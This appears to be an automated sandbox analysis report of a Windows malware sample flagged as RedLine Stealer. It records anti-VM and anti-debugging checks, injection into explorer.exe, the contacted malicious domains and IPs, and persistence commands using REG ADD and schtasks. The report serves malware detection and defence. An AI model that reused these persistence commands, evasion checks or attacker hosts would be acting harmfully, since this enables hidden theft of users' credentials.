Source: explorer.exe, 00000004.00000000.279225121.0000000008C73000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW8
Source: AEC9.exe, 0000001C.00000003.447955380.00000000014F0000.00000004.00000001.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlp.exeSDT\VBOX__
Source: explorer.exe, 00000004.00000000.278926773.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.266332957.00000000059C0000.00000002.00000001.sdmp, 337E.exe, 00000015.00000002.484908688.0000000007850000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000004.00000000.278926773.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
Source: explorer.exe, 00000004.00000000.264171976.00000000048E0000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.279275493.0000000008CC6000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}qqqqqqqqqqqqqq
Source: explorer.exe, 00000004.00000000.278926773.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}C
Source: explorer.exe, 00000004.00000000.278769473.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000Datc
Source: explorer.exe, 00000004.00000000.278876599.0000000008B4E000.00000004.00000001.sdmp	Binary or memory string: 63}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&
Source: hnbux.exe, 00000022.00000002.515008481.000000000260B000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000004.00000000.278769473.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: AEC9.exe, 0000001C.00000003.448874097.00000000014F0000.00000004.00000001.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeSDT\VBOX__
Source: explorer.exe, 00000004.00000000.268374583.00000000069DA000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD002
Source: explorer.exe, 00000004.00000000.266332957.00000000059C0000.00000002.00000001.sdmp, 337E.exe, 00000015.00000002.484908688.0000000007850000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000004.00000000.266332957.00000000059C0000.00000002.00000001.sdmp, 337E.exe, 00000015.00000002.484908688.0000000007850000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: AEC9.exe, 0000001C.00000003.448490754.00000000014F0000.00000004.00000001.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlm.exeSDT\VBOX__
Source: explorer.exe, 00000004.00000000.266332957.00000000059C0000.00000002.00000001.sdmp, 337E.exe, 00000015.00000002.484908688.0000000007850000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Tries to detect sandboxes and other dynamic analysis tools (window names)

Show sources

Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Hides threads from debuggers

Show sources

Source: C:\Users\user\AppData\Local\Temp\AEC9.exe

Thread information set: HideFromDebugger

Jump to behavior

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\cbfafth	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\337E.exe

21_2_004019F0

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe

Code function: 0_2_0041AF20 LoadLibraryA,GetProcAddress,VirtualProtect,

0_2_0041AF20

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Code function: 0_2_0248092B mov eax, dword ptr fs:[00000030h]	0_2_0248092B
Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Code function: 0_2_02480D90 mov eax, dword ptr fs:[00000030h]	0_2_02480D90
Source: C:\Users\user\AppData\Roaming\cbfafth	Code function: 18_2_023B092B mov eax, dword ptr fs:[00000030h]	18_2_023B092B
Source: C:\Users\user\AppData\Roaming\cbfafth	Code function: 18_2_023B0D90 mov eax, dword ptr fs:[00000030h]	18_2_023B0D90

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cbfafth	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe

Code function: 0_2_0040C120 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0040C120

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe

Code function: 0_2_0040CF20 InterlockedIncrement,__itow_s,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,_wcscpy_s,_wcscpy_s,_wcscat_s,_wcscat_s,_wcscat_s,__snwprintf_s,_wcscpy_s,_wcscpy_s,__cftoe,GetFileType,_wcslen,WriteConsoleW,GetLastError,__cftoe,_wcslen,WriteFile,WriteFile,OutputDebugStringW,__itow_s,

0_2_0040CF20

Source: C:\Users\user\AppData\Local\Temp\337E.exe

Code function: 21_2_0040ADB0 GetProcessHeap,HeapFree,

21_2_0040ADB0

Source: C:\Users\user\AppData\Local\Temp\337E.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\337E.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Code function: 0_2_0040C120 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040C120
Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Code function: 0_2_004152D0 __NMSG_WRITE,_raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004152D0
Source: C:\Users\user\AppData\Roaming\cbfafth	Code function: 18_2_0040C120 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_0040C120
Source: C:\Users\user\AppData\Roaming\cbfafth	Code function: 18_2_004152D0 __NMSG_WRITE,_raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_004152D0
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Code function: 21_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_0040CE09
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Code function: 21_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_0040E61C
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Code function: 21_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00416F6A
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Code function: 21_2_004123F1 SetUnhandledExceptionFilter,	21_2_004123F1

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: thegymmum.com
Source: C:\Windows\explorer.exe	Network Connect: 193.142.59.119 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: aucmoney.com
Source: C:\Windows\explorer.exe	Domain query: ng.hiterima.ru
Source: C:\Windows\explorer.exe	Network Connect: 88.80.145.9 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: atvcampingtrips.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: cbfafth.4.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cbfafth	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cbfafth	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Thread created: C:\Windows\explorer.exe EIP: 2F71998			Jump to behavior
Source: C:\Users\user\AppData\Roaming\cbfafth	Thread created: unknown EIP: 4EE1998			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D955.exe	Process created: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\hnbux.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN hnbux.exe /TR 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\hnbux.exe' /F	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\

Source: explorer.exe, 00000004.00000000.255922315.0000000001400000.00000002.00000001.sdmp, AEC9.exe, 0000001C.00000002.524407428.0000000001D40000.00000002.00000001.sdmp, E6D3.exe, 00000021.00000002.515471305.0000000003520000.00000002.00000001.sdmp, hnbux.exe, 00000022.00000002.515494788.0000000002CB0000.00000002.00000001.sdmp	Binary or memory string: uProgram Manager
Source: explorer.exe, 00000004.00000000.255922315.0000000001400000.00000002.00000001.sdmp, AEC9.exe, 0000001C.00000002.524407428.0000000001D40000.00000002.00000001.sdmp, E6D3.exe, 00000021.00000002.515471305.0000000003520000.00000002.00000001.sdmp, hnbux.exe, 00000022.00000002.515494788.0000000002CB0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000000.255922315.0000000001400000.00000002.00000001.sdmp, AEC9.exe, 0000001C.00000002.524407428.0000000001D40000.00000002.00000001.sdmp, E6D3.exe, 00000021.00000002.515471305.0000000003520000.00000002.00000001.sdmp, hnbux.exe, 00000022.00000002.515494788.0000000002CB0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000004.00000000.288230517.0000000000EB8000.00000004.00000020.sdmp	Binary or memory string: ProgmanX
Source: explorer.exe, 00000004.00000000.255922315.0000000001400000.00000002.00000001.sdmp, AEC9.exe, 0000001C.00000002.524407428.0000000001D40000.00000002.00000001.sdmp, E6D3.exe, 00000021.00000002.515471305.0000000003520000.00000002.00000001.sdmp, hnbux.exe, 00000022.00000002.515494788.0000000002CB0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000004.00000000.278769473.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndAj

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Code function: GetLocaleInfoA,	0_2_00415000
Source: C:\Users\user\AppData\Roaming\cbfafth	Code function: GetLocaleInfoA,	18_2_00415000
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Code function: GetLocaleInfoA,	21_2_00417A20

Source: C:\Users\user\AppData\Local\Temp\337E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\337E.exe

Code function: 21_2_00412A15 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

21_2_00412A15

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe

Code function: 0_2_0041B960 GetComputerNameW,LoadLibraryA,GetModuleHandleA,FileTimeToDosDateTime,GetVersionExW,VerifyVersionInfoW,OpenWaitableTimerA,GetCurrentThreadId,CreateDirectoryW,LoadLibraryA,CreateSemaphoreW,FreeEnvironmentStringsA,CompareStringA,

0_2_0041B960

Source: C:\Users\user\AppData\Local\Temp\337E.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\337E.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\337E.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\337E.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\337E.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\337E.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Source: 337E.exe, 00000015.00000002.485965790.0000000008115000.00000004.00000001.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 33.2.E6D3.exe.7250000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4180000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4260086.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.5dd5530.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.3.337E.exe.24ba9a8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4260f6e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.5df0950.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4180ee8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4180ee8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4a70f6e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.3.337E.exe.24ba9a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4510000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.3.E6D3.exe.2dcd550.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4510000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4a70f6e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.5dd6418.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4b30ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4180000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.5dd5530.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.7250000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4b30000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4260f6e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.5dd6418.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4260086.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.3.E6D3.exe.2dcd550.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4b30000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4b30ee8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4a70086.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.5df0950.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4a70086.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.AEC9.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.518966654.0000000005DD5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.464236334.0000000004220000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.463803382.0000000004180000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.522724822.0000000007250000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.517014320.0000000004B30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.472539078.0000000005575000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.377131232.00000000024BA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.476719816.0000000002DCD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.516647880.0000000004A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.464882923.0000000004510000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 337E.exe PID: 2172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: E6D3.exe PID: 5524, type: MEMORYSTR
